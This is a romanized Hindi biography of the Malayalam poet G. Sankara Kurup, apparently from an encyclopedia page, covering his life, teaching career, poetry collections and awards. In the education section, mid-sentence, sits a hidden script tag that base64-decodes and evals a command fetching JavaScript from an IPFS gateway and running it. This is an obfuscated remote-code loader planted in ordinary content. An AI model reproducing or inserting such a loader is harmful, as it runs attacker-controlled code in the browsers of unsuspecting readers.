गोविंद शंकर कुरुप
goviand shankar kurup
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| poora nam | goviand shankar kurup |
| janm | 5 joon, 1901 |
| janm bhoomi | nayattot, keral |
| mrityu | 2 faravari, 1978 |
| karm bhoomi | bharat |
| karm-kshetr | sahity |
| mukhy rachanaean | sahity kautukam, vishvadarshanam, lekhamal, jivanasangitamh, sandhy, iroottinu muanpu adi. |
| bhasha | malayalam |
| puraskar-upadhi | 'sahity akadami puraskar' (1963) aur 'jhnanapith puraskar' (1965) |
| prasiddhi | sahityakar |
| nagarikata | bharatiy |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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goviand shankar kurup (aangrezi: Govind Sankara Kurup, janm- 5 joon, 1901, nayattot, keral; mrityu- 2 faravari, 1978) 'jnanapith puraskar' se sammanit malayali bhasha ke ek prasiddh sahityakar the. unhoanne kochin rajy ki 'pandit' pariksha pas karake adhyapan ki yogyata prapt ki thi. usake bad do varsh tak ve yahaan-vahaan adhyapan kary bhi karate rahe the. 'mahakavi' goviand shankar kurup ki 40 se adhik maulik aur anoodit kritiyaan prakashit ho chuki haian.
janm
goviand shankar kurup ka janm 5 joon, 1901 ee. ko keral ke nayattot namak sthan par hua tha. apane mama ‘goviand’ ke nam par hi unaka nam 'goviand shankar kuroop p da'. parivar mean vansh paranpara matrikul se chalane ki pratha hone ke karan inaka kulanam bhi 'kurup' hua. sanyog se unhian dinoan nayattot mean ek prathamik pathashala ki sthapana huee. balak kurup ko vahaan bharti kara diya gaya. goviand shankar ne vahaan jakar anubhav kiya ki prakritik drishy-chhaviyoan ko dekhakar unake bhitar svat: sphoort ek arup aur vichitr-sa alo dan hota hai, jisaka ab unhean jnan hone laga tha. goviand shankar ke jivan mean do ghatanaean bhi usi samay ghatian, jo yooan to samany thian, par kavi shankar kurup ki kavy–chetana ke pratham aankur phootane mean paroksh roop se sahayak siddh huee. ek thi us yug ke varishth malayalam kavi kuanjikuttan tanpuran ka nayattot ana aur doosari thi, nauka se tottavay devalay jate hue ugate soory ke pratham sparsh se lahariyoan ke nartan ka darshan.
shiksha
bachapan mean hi goviand shankar ke pita ki ashish-chhaya sir se uth jane ke bad unaki dekharekh aur shiksha adi ka dayitv unake mama goviand kurup ne nibhaya. gaanv ki us prathamik pathashala mean shiksha ka prabandh tisari kaksha tak hi tha. phir kisi prakar vyavastha karake balak kurup ko 7 mil (lagabhag 11.2 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> door sthit peruanpavoor ke malayalam midil skool bheja gaya. peruanpavoor mean chhatravas ke jivan mean ek mukt vatavaran mila, jo kavi shankar ki asphut pratibha ke jagrit hone mean vishesh prerak v sahayak hua. vahaan ek saghann van tha, jahaan lata-kuanjoan se ghira bhagavati vanadevi ka ek arddhabhagn mandir tha. nana pakshiyoan ka kalarav–koojan nirantar chalata rahata tha. prakriti `ki us unnamukt shobharashi se mugdh hue shankar ghantoan-ghantoan vahaan baithe rahate aur pray: sanskrit chhandoan mean phutakar shlokoan ki rachana karate. satavian kaksha ke goviand shankar ji moovattupusha malayalam haeeskool pahuanche. vahaan do varsh rahe, par ye do varsh unake vikas ki drishti se atyant mahattvapoorn aur ek prakar se disha nirnayak siddh hue.
vyavasayik shuruat
shankar kurup ne kochin rajy ki ‘pandit’ pariksha pas karake adhyapan ki yogyata prapt ki. vah do varsh tak yahaan-vahaan adhyapan ka kam bhi karate rahe. unake kavita sangrah, sahity kautukamh ke pahale bhag ki kuchh kavitaean isi kal ki haian. par apana abhisht unhean tab prapt hua, jab vah tiroovilvamala haee skool mean adhyapak niyukt hue. 1921 se 1925 tak shankar kurup tiroovilvamala mean rahean. prakriti ke prati praranbh mean jo ek sahaj akarshan bhav tha, usane in char varshoan mean annay upasak ki bhavana ka roop le liya. tiroovilvamala se kurup 1925 mean chalakuti haeeskool pahuanche. usi varsh 'sahity kautukam' ka doosara bhag prakashit hua. 1931 mean 'nalean' shirshak kavita ke prakashan ne sahity jagath mean ek halachal-si macha di. kuchh logoan ne use rajadrohatmak tak kaha aur usake karan 'maharaja k aaulej', ernakulam mean pradhyapak pad par unaki niyukti mean bhi ek bar badha aee. 1937 se 1956 mean sevanivritt hone tak is k aaulej mean vah malayalam ke pradhyapak rahe. yahaan avakash prapt kar lene ke uparaant vah akashavani ke triveandram keandr mean prodyoosar rahe.
kavy kriti
goviand shankar kurup ki kavy kriti 'otkkushath' ka pratham sanskaran varsh 1950 mean prakashit hua tha. isake mool roop mean 60 kavitaean thian. vartaman roop mean 58 kavitaean haian. in kavitaoan ke madhyam se kavi ke vibhinn roop bhavoan ka parichay milata hai. kavi prakriti aur usaki shiv suandar rahasyamayata ki anubhooti mean prakriti ke kan-kan aur kshan-kshan ki mugdhakari sauandary chhavi mean para chetanashakti ka abhas prapt karata hai. use jaise sakshat pratiti hoti hai, ki virat prakriti aur vah svayan ek anadi v anant chaitany ke aansh hai. kee utkrisht prem kavitaean isamean sammilit hai. lekin yah prem bhi nar–nari ka nahian prakriti aur nikhil brahm–chetana ka hai, jisaka yah sanpoorn srishtichakr pratiphalan hai.
kavita sangrah
'mahakavi' goviand shankar kurup ki 40 se adhik maulik aur anoodit kritiyaan prakashit hai. unake likhe kuchh kavita sangrah nimnalikhit haian-
- sahity kautukam,
- char khand (1923-1929)
- sooryakaanti (1932)
- otkkushath (1950)
- aantardah (1953)
- vishvadarshanam (1960)
- jivanasangitamh (1964)
- patheyam (1961)
- gady-gadyopaharamh (1940)
- lekhamal (1943)
natak
samman
goviand shankar kurup ko sahity akadami puraskar (1963) aur jnanapith puraskar (1965) se sammanit kiya gaya.
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tika tippani aur sandarbh
sanbandhit lekh
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